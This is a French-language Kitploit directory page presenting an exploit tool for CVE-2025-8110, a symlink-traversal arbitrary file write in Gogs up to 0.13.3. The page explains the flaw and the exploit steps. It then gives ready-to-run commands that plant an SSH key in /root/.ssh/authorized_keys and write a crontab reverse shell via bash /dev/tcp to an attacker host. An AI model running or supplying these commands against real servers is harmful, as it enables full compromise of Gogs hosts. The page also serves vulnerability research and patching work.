Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-8110 — CVE-2025-8110 — Gogs <= 0.13.3 Écriture arbitraire de fichier via traversée de lien symbolique dans l'API PutContents | Kitploit
Outils/GitHubGitHub/3jee/cve-2025-8110
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationRed Teaming
GitHub3jee/cve-2025-8110

CVE-2025-8110

CVE-2025-8110 — Gogs <= 0.13.3 Écriture arbitraire de fichier via traversée de lien symbolique dans l'API PutContents

Voir le dépôt
2il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-8110 — Écriture arbitraire de fichiers via traversée de lien symbolique dans Gogs <= 0.13.3

Présentation

Gogs <= 0.13.3 est vulnérable à l'écriture arbitraire de fichiers via l'API PutContents (/api/v1/repos/:owner/:repo/contents/:path).

L'API valide les chemins contre les séquences de traversée de répertoires (../) mais ne résout pas les liens symboliques avant l'écriture. Un utilisateur authentifié peut pousser un commit contenant un lien symbolique pointant vers n'importe quel fichier sur le serveur, puis appeler PutContents sur ce lien symbolique pour écraser le fichier cible avec un contenu contrôlé par l'attaquant.

Lorsque Gogs s'exécute en tant que root (par défaut dans Docker et de nombreux déploiements), cela conduit à une compromission totale du système.

DétailValeur
CVECVE-2025-8110
AffectéGogs <= 0.13.3
TypeÉcriture arbitraire de fichiers authentifiée → RCE
CVSS8.8 (Élevé)
ComposantAPI PutContents

Prérequis

  • Python 3.10+
  • requests (pip install requests)
  • CLI git
  • Un compte Gogs valide (ou auto-inscription ouverte sur la cible)

Utilisation

root@kitploit:~
# Auto-inscrire un compte jetable + écrire la clé publique SSH pour root
python3 CVE-2025-8110.py --url http://target:3001 --register \
    --target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub

# Avec des identifiants existants
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
    --target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub

# Shell inversé via crontab
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
    --target-file /etc/crontab \
    --content '* * * * * root bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"'

# Nettoyer le dépôt d'exploitation après usage
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
    --target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub --cleanup

Fonctionnement

  1. Authentification — Se connecter (ou s'auto-inscrire) et créer un jeton API.
  2. Créer un dépôt — Initialiser un nouveau dépôt avec un README via l'interface web.
  3. Pousser un lien symbolique — Cloner le dépôt localement, créer un lien symbolique pointant vers le fichier cible (ex. /root/.ssh/authorized_keys), commiter et pousser.
  4. Écrire via le lien symbolique — Appeler l'API PutContents sur le nom du lien symbolique. Gogs résout le lien symbolique sur le disque et écrit le contenu de l'attaquant dans le fichier réel en tant qu'utilisateur du processus Gogs (souvent root).

Options

root@kitploit:~
--url             URL de base de Gogs (ex. http://target:3001)
-u, --user        Nom d'utilisateur Gogs
-p, --password    Mot de passe Gogs
--register        Auto-inscrire un compte jetable (pas de captcha)
--target-file     Chemin absolu à écraser sur le serveur
--content         Contenu textuel à écrire
--content-file    Fichier local dont le contenu doit être écrit
--repo            Nom du dépôt à créer (défaut : aléatoire)
--link-name       Nom du lien symbolique dans le dépôt (défaut : payload)
--cleanup         Supprimer le dépôt d'exploitation après écriture

Avertissement

Cet outil est fourni uniquement à des fins de tests de sécurité autorisés et de formation. L'accès non autorisé à des systèmes informatiques est illégal. Utilisez-le de manière responsable.

Télécharger l’outil